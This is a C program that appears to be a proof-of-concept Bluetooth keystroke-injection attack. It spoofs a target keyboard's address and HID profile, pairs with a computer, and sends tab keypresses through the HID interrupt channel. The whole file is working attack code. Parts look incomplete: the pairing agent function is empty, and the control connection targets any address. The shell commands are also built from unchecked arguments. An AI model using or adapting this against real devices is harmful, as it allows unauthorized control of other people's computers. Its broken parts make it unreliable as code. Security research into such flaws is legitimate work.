#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <time.h>
#include <signal.h>

#define AGENT_PATH "/test/agent"
#define KEYB_DEVICE_NAME "Keyboard"
#define HID_CONTROL_PSM 17
#define HID_INTERRUPT_PSM 19

void run_agent() {
}

int main(int argc, char *argv[]) {
    if (argc != 4) {
        fprintf(stderr, "Usage: %s <interface> <keyboard_address> <computer_address>\n", argv[0]);
        return 1;
    }

    // Bluetooth addresses
    char *interface = argv[1];
    char *keyboard_addr = argv[2];
    char *computer_addr = argv[3];

    // Set Bluetooth address of the target keyboard
    char cmd[256];
    sprintf(cmd, "sudo bdaddr -i %s %s", interface, keyboard_addr);
    system(cmd);
    sprintf(cmd, "sudo hciconfig %s reset", interface);
    system(cmd);
    sprintf(cmd, "sudo hciconfig %s up", interface);
    system(cmd);

    // Set device name and class id
    sprintf(cmd, "sudo hciconfig %s name %s", interface, KEYB_DEVICE_NAME);
    system(cmd);
    sprintf(cmd, "sudo hciconfig %s class 0x002540", interface);
    system(cmd);

    // Add the BT-HID SDP profile (HID control and HID interrupt)
    system("sudo sdptool add KEYB");

    // Start a 'NoInputNoOutput' pairing agent
    pid_t pid = fork();
    if (pid == 0) {
        run_agent();
        exit(0);
    }
    usleep(250000); // Wait for the agent to start

    // Enable SSP (secure simple pairing)
    sprintf(cmd, "sudo btmgmt -i %s ssp on", interface);
    system(cmd);

    // Make connection attempts to HID control until successful
    while (1) {
        struct sockaddr_l2 addr = { 0 };
        addr.l2_family = AF_BLUETOOTH;
        addr.l2_bdaddr = *BDADDR_ANY;
        addr.l2_psm = htobs(HID_CONTROL_PSM);

        int s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
        if (s < 0) {
            perror("socket");
            usleep(10000); // Wait 10ms before retrying
            continue;
        }

        if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
            printf("Successfully connected to PSM %d (HID Control)\n", HID_CONTROL_PSM);
            break;
        } else {
            perror("connect");
            close(s);
            usleep(10000); // Wait 10ms before retrying
        }
    }

    // Connect to HID interrupt
    struct sockaddr_l2 addr = { 0 };
    addr.l2_family = AF_BLUETOOTH;
    str2ba(computer_addr, &addr.l2_bdaddr);
    addr.l2_psm = htobs(HID_INTERRUPT_PSM);

    int s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
    if (s < 0) {
        perror("socket");
        return 1;
    }

    if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
        printf("Successfully connected to PSM %d (HID Interrupt)\n", HID_INTERRUPT_PSM);
    } else {
        perror("connect");
        close(s);
        return 1;
    }

    // Inject 'tab' keypresses for 5 seconds
    printf("Injecting 5 seconds of 'tab' keypresses\n");
    time_t t0 = time(NULL);
    while (time(NULL) - t0 < 5) {
        uint8_t tab_press[11] = { 0xa1, 0x01, 0x00, 0x00, 0x2b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
        uint8_t tab_release[11] = { 0xa1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };

        send(s, tab_press, sizeof(tab_press), 0);
        usleep(10000); // Wait 10ms
        send(s, tab_release, sizeof(tab_release), 0);
        usleep(10000); // Wait 10ms
    }

    // Cleanup and exit
    sprintf(cmd, "sudo bdaddr -i %s 12:34:56:78:9A:BC", interface);
    system(cmd);
    sprintf(cmd, "sudo hciconfig %s reset", interface);
    system(cmd);
    close(s);
    kill(pid, SIGKILL);
    return 0;
}